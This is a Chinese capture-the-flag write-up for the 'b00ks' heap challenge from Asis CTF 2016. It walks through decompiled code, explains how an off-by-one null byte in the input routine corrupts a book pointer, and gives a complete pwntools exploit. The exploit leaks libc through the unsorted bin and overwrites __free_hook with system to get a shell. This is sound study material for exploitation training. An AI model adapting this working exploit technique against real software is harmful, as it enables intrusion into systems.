百航鹿大联训 Asis_CTF_2016 b00ks
考察off-by-one。一直觉得一两字节的差错就有可能造成pwn,这道题就是很好的例子。需要把指针层次和结构体理清楚。
__int64 __fastcall main(int a1, char **a2, char **a3)
{
struct _IO_FILE *v3; // rdi
int v5; // [rsp+1Ch] [rbp-4h]
setvbuf(stdout, 0LL, 2, 0LL);
v3 = stdin;
setvbuf(stdin, 0LL, 1, 0LL);
title();
name();
while ( 1 )
{
v5 = menu(v3);
if ( v5 == 6 )
break;
switch ( v5 )
{
case 1:
create(v3);
break;
case 2:
delete(v3);
break;
case 3:
edit(v3);
break;
case 4:
output(v3);
break;
case 5:
name();
break;
default:
v3 = (struct _IO_FILE *)"Wrong option";
puts("Wrong option");
break;
}
}
puts("Thanks to use our library software");
return 0LL;
}
主函数。可以看到开头调用了一次name函数。后续可以使用操作5修改。
__int64 name()
{
printf("Enter author name: ");
if ( !(unsigned int)input(authorname, 32) )
return 0LL;
printf("fail to read author_name");
return 1LL;
}
往一个固定的authorname地址输入固定32字节数据。
__int64 create()
{
int v1; // [rsp+0h] [rbp-20h] BYREF
int v2; // [rsp+4h] [rbp-1Ch]
void *v3; // [rsp+8h] [rbp-18h]
void *ptr; // [rsp+10h] [rbp-10h]
void *v5; // [rsp+18h] [rbp-8h]
v1 = 0;
printf("\nEnter book name size: ");
__isoc99_scanf("%d", &v1);
if ( v1 < 0 )
goto LABEL_2;
printf("Enter book name (Max 32 chars): ");
ptr = malloc(v1);
if ( !ptr )
{
printf("unable to allocate enough space");
goto LABEL_17;
}
if ( (unsigned int)input(ptr, v1 - 1) )
{
printf("fail to read name");
goto LABEL_17;
}
v1 = 0;
printf("\nEnter book description size: ");
__isoc99_scanf("%d", &v1);
if ( v1 < 0 )
{
LABEL_2:
printf("Malformed size");
}
else
{
v5 = malloc(v1);
if ( v5 )
{
printf("Enter book description: ");
if ( (unsigned int)input(v5, v1 - 1) )
{
printf("Unable to read description");
}
else
{
v2 = find();
if ( v2 == -1 )
{
printf("Library is full");
}
else
{
v3 = malloc(0x20uLL);
if ( v3 )
{
*((_DWORD *)v3 + 6) = v1; // description length
*((_QWORD *)book + v2) = v3;
*((_QWORD *)v3 + 2) = v5; // description
*((_QWORD *)v3 + 1) = ptr; // name
*(_DWORD *)v3 = ++unk_202024; // index
return 0LL;
}
printf("Unable to allocate book struct");
}
}
}
else
{
printf("Fail to allocate memory");
}
}
LABEL_17:
if ( ptr )
free(ptr);
if ( v5 )
free(v5);
if ( v3 )
free(v3);
return 1LL;
}
这里比较乱,一定要理清楚。转化一下大致就是
struct data{
int id;
void *name;//void*为八字节
void *description;
int description_length;
}book[...];
你可能会像我一样好奇会不会发生malloc(0);之类的问题,事实上这会返回一个可以free但不能被解引用的指针,对应一个“极小chunk”,对做题没有影响。
__int64 delete()
{
int v1; // [rsp+8h] [rbp-8h] BYREF
int i; // [rsp+Ch] [rbp-4h]
i = 0;
printf("Enter the book id you want to delete: ");
__isoc99_scanf("%d", &v1);
if ( v1 > 0 )
{
for ( i = 0; i <= 19 && (!*((_QWORD *)book + i) || **((_DWORD **)book + i) != v1); ++i )
;
if ( i != 20 )
{
free(*(void **)(*((_QWORD *)book + i) + 8LL));
free(*(void **)(*((_QWORD *)book + i) + 16LL));
free(*((void **)book + i));
*((_QWORD *)book + i) = 0LL;
return 0LL;
}
printf("Can't find selected book!");
}
else
{
printf("Wrong id");
}
return 1LL;
}
删除一本书。没有置空字符串指针,可以用于泄漏。
__int64 edit()
{
int v1; // [rsp+8h] [rbp-8h] BYREF
int i; // [rsp+Ch] [rbp-4h]
printf("Enter the book id you want to edit: ");
__isoc99_scanf("%d", &v1);
if ( v1 > 0 )
{
for ( i = 0; i <= 19 && (!*((_QWORD *)book + i) || **((_DWORD **)book + i) != v1); ++i )
;
if ( i == 20 )
{
printf("Can't find selected book!");
}
else
{
printf("Enter new book description: ");
if ( !(unsigned int)input(
*(_BYTE **)(*((_QWORD *)book + i) + 16LL),
*(_DWORD *)(*((_QWORD *)book + i) + 24LL) - 1) )
return 0LL;
printf("Unable to read new description");
}
}
else
{
printf("Wrong id");
}
return 1LL;
}
允许修改一本书的description。注意这里长度固定是之前输入的description length。
int output()
{
__int64 v0; // rax
int i; // [rsp+Ch] [rbp-4h]
for ( i = 0; i <= 19; ++i )
{
v0 = *((_QWORD *)book + i);
if ( v0 )
{
printf("ID: %d\n", **((unsigned int **)book + i));
printf("Name: %s\n", *(const char **)(*((_QWORD *)book + i) + 8LL));
printf("Description: %s\n", *(const char **)(*((_QWORD *)book + i) + 16LL));
LODWORD(v0) = printf("Author: %s\n", (const char *)authorname);
}
}
return v0;
}
输出每本书的内容,可以用于泄漏。
__int64 __fastcall input(_BYTE *a1, int a2)
{
int i; // [rsp+14h] [rbp-Ch]
if ( a2 <= 0 )
return 0LL;
for ( i = 0; ; ++i )
{
if ( (unsigned int)read(0, a1, 1uLL) != 1 )
return 1LL;
if ( *a1 == 10 )
break;
++a1;
if ( i == a2 )
break;
}
*a1 = 0; // //添加\0结束符,off-by-one
return 0LL;
}
是的,这个自制的输入函数就是本题最大的漏洞点。除了用户输入的长度以外,它还在最后自行添加了一个隔断符。一般来说这一个字节无关痛痒,但这里我们是否有足够的空间呢?请看VCR(误)

我们发现book和authorname都在bss段上,前者对应地址0x202060,后者对应地址0x202040,两者相差0x20。然而name函数中,我们可以写入的长度刚好为32!于是那一字节隔断符就会溢出到book[0]的内容中,造成漏洞。
我们写一段测试代码看一下。
author("f"*0x20)
create(0x90,"aaaa",0x50,"bbbb")
create(0x60,"cccc",0x40,"dddd")
pause()
rename("f"*0x20)

依次为name0,description0,data0(结构体),name1,description1,data1。
可以发现这些chunk是紧挨在一起的,由于size不变,知道了一本书任意一个子变量的地址就可以知道其他书的地址。

小trick,可以通过search指令查找authorname的地址。

authorname下游0x20字节开始就是book数组。目前存放了data0和data1的地址。

rename之后,发现book[0]的最低两位被改成了'\0'(小端序),与前面的推断是相符的。
如果先写满32个字符,再创建book[0],结束符'\0'就会被data0的地址覆盖掉。于是output的时候,data0的地址会被连带着输出来!然后偏移固定,每本书的每个子变量的地址都可以推断出来。
如果某个子变量被free进了unsorted bin,并且我们刚好能够阅读其fd,基址不就泄漏了?
但是,要怎么阅读某个特定地址的内容呢?

我们假定通过合理安排name和description的size,达成了如上格局。使用操作5修改authorname后,book[0]的最低两位被覆盖成0x00,必然减小。此时book[0]指向的位置就变成了假的data0,这个fake_data0位于description0之内。
也就是说,可以在description0内构造fake_data0,它包含指向fake_name0,fake_description0的指针,这些都是我们可以控制的,其中fake_description0还是可以编辑的。
即,实现了任意读写。
考虑构建两本书,free掉第二本书,使name1(description1也行)进入unsorted bin。按上述方式,泄露出name1地址,构造fake_data0,使得fake_name0指向name1。
这样,output的时候,输出的name0实际上就是name1的fd,即main_arena。
基址get。
然而,实施攻击的时候你发现一个问题。你只能修改*fake_description0。
我们希望让fake_description0=&__free_hook,之后把它的内容改成system就行了。
但是在泄漏基址前,你就已经确定了fake_description0;之后book[0]的最低两位变成0x00,没法再改;fake_description0也没法再改了。
于是我们考虑构建book2,中转一下。
一开始,就让fake_description0=&description2(根据前文所述的固定偏移可以推出&description2)。获得基址后,编辑0号书,可以做到*fake_description0=&__free_hook=*(&description2)=description2。
之后,编辑2号书,可以做到*description2=__free_hook=system。大功告成。
这里套了三层,很容易搞混淆,还是建议pwndbg里面实操,更好理解。
(嘛,硬要让0号书自己指向自己,好像也不是不行……)
题目交互的时候使用1 base,但book数组是按0 base存的。前文的分析都基于0 base,请注意一下。
from pwn import *
context.log_level="debug"
io=process("./b00ks")
elf=ELF("./b00ks")
def author(content):
io.sendlineafter("Enter author name: ",content)
def create(nsize,name,csize,content):
io.sendlineafter("> ","1")
io.sendlineafter("Enter book name size: ",str(nsize))
io.sendlineafter("Enter book name (Max 32 chars): ",name)
io.sendlineafter("Enter book description size: ",str(csize))
io.sendlineafter("Enter book description: ",content)
def delete(index):
io.sendlineafter("> ","2")
io.sendlineafter("Enter the book id you want to delete: ",str(index))
def edit(index,content):
io.sendlineafter("> ","3")
io.sendlineafter("Enter the book id you want to edit: ",str(index))
io.sendlineafter("Enter new book description: ",content)
def output(opt):
io.sendlineafter("> ","4")
if opt==0:
io.recvuntil("Name: ")
return io.recvline()[:-1]#去除结尾的换行符
else:
io.recvuntil("Author: ")
return io.recvline()[:-1]#去除结尾的换行符
def rename(content):
io.sendlineafter("> ","5")
author(content)
author("a"*0x20)
create(0xd0,"book1",0xd0,"des1")#用于做fake,这里要求两个size都尽量大一些,使得fake_data能够卡在description的中间,可以自行多调整一下
create(0xd0,"book2",0xd0,"des2")#放进unsorted bin,用于泄漏,size要足够大
create(0xd0,"book3",0xd0,"des3")#用于任意写
create(0xd0,"book4",0xd0,"/bin/sh")
addr2=u64(output(1)[32:].strip().ljust(8,b'\0'))+0x30#本来泄露的是第一本书data的地址,加一个0x30偏移就是第二本书的name
print(hex(addr2))
edit(1,p64(1)+p64(addr2)+p64(addr2+0x3c0)+p64(0xd0))
#构造fake_data
#addr2+0x3c0表示第三本书的description地址,都可以用pwndbg试出来
#注意还要构造fake_description_length,总之要大于0,不然后续修改description的时候一个字都输不了
rename("b"*0x20)
delete(2)#放入unsorted bin
libc_addr=u64(output(0).strip().ljust(8,b'\0'))-0x3c3b78
print(hex(libc_addr))
free_addr=libc_addr+0x3c57a8
system_addr=libc_addr+0x45380
edit(1,p64(free_addr)+p64(0xd0))#通过修改第一本书,把第三本书的description指向__free_hook,同样要记得构造description_length
edit(3,p64(system_addr))#通过修改第三本书,把__free_hook改成system
delete(4)#触发shell
io.interactive()
网上很多博客在基址泄漏那一步用的是mmap。具体来说,在amd-64系统下,单次malloc达到128kb及以上(0x20000),堆分配不再采用brk,而是通过mmap映射一块内存。
他们认为这个地址和libc基址的偏移是固定的。然而我亲测该偏移并不固定,必须关闭ASLR才行。还是用unsorted bin吧。

浙公网安备 33010602011771号